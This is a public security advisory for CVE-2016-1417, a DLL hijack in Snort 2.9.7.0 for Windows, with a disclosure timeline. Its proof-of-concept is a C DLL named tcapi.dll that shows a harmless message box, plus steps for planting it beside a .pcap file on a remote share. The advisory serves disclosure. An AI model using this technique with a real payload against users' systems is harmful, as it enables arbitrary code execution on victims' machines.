Snort v2.9.7.0-WIN32 DLL Hijack

[apparitionsec () gmail com]

[+] Credits: John Page aka hyp3rlinx    

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/SNORT-DLL-HIJACK.txt

[+] ISR: ApparitionSec



Vendor:
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www.snort.org



Product:
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Snort v2.9.7.0-WIN32

Snort is an open-source, free and lightweight network intrusion detection system (NIDS) software for Linux and Windows 
to detect emerging threats.


Vulnerability Type:
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DLL Hijack



CVE Reference:
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CVE-2016-1417



Vulnerability Details:
=====================

snort.exe can be exploited to execute arbitrary code on victims system via DLL hijacking, the vulnerable DLL is 
"tcapi.dll".
If a user opens a ".pcap" file from a remote share using snort.exe and the DLL exists in that directory. 


Exploit codes(s):
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Create tcapi.dll 

#include<windows.h>

//gcc -c tcapi.c
//gcc -shared -o tcapi.dll tcapi.o

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
  switch (reason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(NULL, "DLL Hijacking", "Done!", MB_OK);  
    break;
  }

return 0;
}

1) create any empty file on a remote dir share with a .pcap extension
2) place arbitrary DLL named  "tcapi.dll" in remote share
3) open with snort.exe
4) BAM!




Disclosure Timeline:
=======================================
Vendor Notification:  April 21, 2016
September 29, 2016  : Public Disclosure




Exploitation Technique:
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Remote



Severity Level:
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Medium




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